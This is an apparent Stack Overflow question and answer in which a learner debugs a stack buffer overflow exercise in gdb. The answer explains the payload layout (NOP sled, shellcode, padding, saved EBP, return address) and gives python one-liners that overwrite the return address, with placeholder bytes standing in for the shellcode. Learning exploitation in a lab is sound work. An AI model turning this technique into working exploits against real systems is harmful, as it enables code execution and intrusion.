Error in return address while simulating buffer overflow

2

I am learning buffer overflow from the following website.

(gdb)info registers
eax            0xbffff4c0   -1073744704
ecx            0xbffff4bf   -1073744705
edx            0x2  2
ebx            0xb7fccff4   -1208168460
esp            0xbffff4a0   0xbffff4a0
ebp            0xbffff528   0xbffff528
esi            0x8048450    134513744
edi            0x8048340    134513472
eip            0x804841f    0x804841f <main+43>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

(gdb) x/40x $esp
0xbffff4a0: 0xbffff4c0  0xbffff728  0x00000000  0xbffff570
0xbffff4b0: 0xb7fff670  0x08048249  0x00000000  0x00000000
0xbffff4c0: 0x00000041  0x00000000  0xb7fe3000  0x00000000
0xbffff4d0: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff4e0: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff4f0: 0x00000000  0x00000000  0xbffff711  0xb7edd04e
0xbffff500: 0xb7f8f329  0x08049ff4  0xbffff518  0x080482e8
0xbffff510: 0xb7fccff4  0x08049ff4  0xbffff538  0x08048469
0xbffff520: 0xb7ff07b0  0xbffff540  0xbffff598  0xb7e84775
0xbffff530: 0x08048450  0x08048340  0xbffff598  0xb7e84775

Now according to the website, 0xb7e84775 should be replaced by the return address. (Address : 0xbffff52c) But, I tried running and it is looks for the return address at 0xbffff524.

Also when I tried using a NOP sled as the website shows, and put the return address of the sled where it was expecting, it ran, but it gave the following error.

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()

I am not sure why it was looking for the return address before $ebp, and I have no clue about the error.

Can anyone kindly help? Please let me know if anything else is needed.

c
gdb
buffer-overflow
asked on Stack Overflow Jul 6, 2015 by psyc0der

1 Answer

1

It gave you 'Segmentation fault', simply because you put so many NOP sleds and that's the reason, why you overwrote return address with it and program crashed.

Offset is 112 bytes, it means, next 4 bytes will overwite return address. Just try this in your gdb -

run `python -c 'print "\x90" * 112 + "A" * 4'`

Result -

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

But what I want to say. You have overwrite return address with address what points somewhere between NOP sled. And why are you looking for address before $ebp? Because your return address, where you want to jump is situated before it.

Your payload looks like this (I just a little modified it, for showing you, where is located EBP and why you must use address what is located before it) -

[NOP sled] + [Shellcode] + [Padding] + [EBP] + [EIP/return address]
  • NOP sled -> 64 bytes, somewhere between them you'll jump

  • Shellcode -> 32 bytes, for getting shell

  • Padding -> 8 bytes, name talks about all

  • EBP -> 4 bytes, we'll overwrite EBP with some value, for better understanding.. as now you can see, it's placed 4 bytes before our EIP/return address, but our return address, where we want to jump, is located almost on the top of the stack.. otherwise EBP = bottom of the actual frame
  • EIP/return address -> 4 bytes, points somewhere between NOPs

If you want (for better understanding), simulate it in your gdb.

run `python -c 'print "\x90" * 64 + "B" * 32 + "A" * 12 + "\xef\xbe\xad\xde" + "\x50\xf4\xff\xbf"'`

"B" - simulate shellcode

"\xef\xbe\xad\xde" = deadbeef will overwrite EBP

(gdb) i r
eax            0x6  6    
ecx            0xb7fda000   -1208115200    
edx            0xb7fbc898   -1208235880    
ebx            0xb7fbb000   -1208242176    
esp            0xbfffef90   0xbfffef90    
ebp            0xdeadbeef   0xdeadbeef    
esi            0x0  0    
edi            0x0  0    
eip            0x43434343   0x43434343    
...

In real way (with shellcode), it will jump on address 0xbffff450, slide down and execute your shellcode, then you'll get a shell.

answered on Stack Overflow Jul 7, 2015 by Yeez

User contributions licensed under CC BY-SA 3.0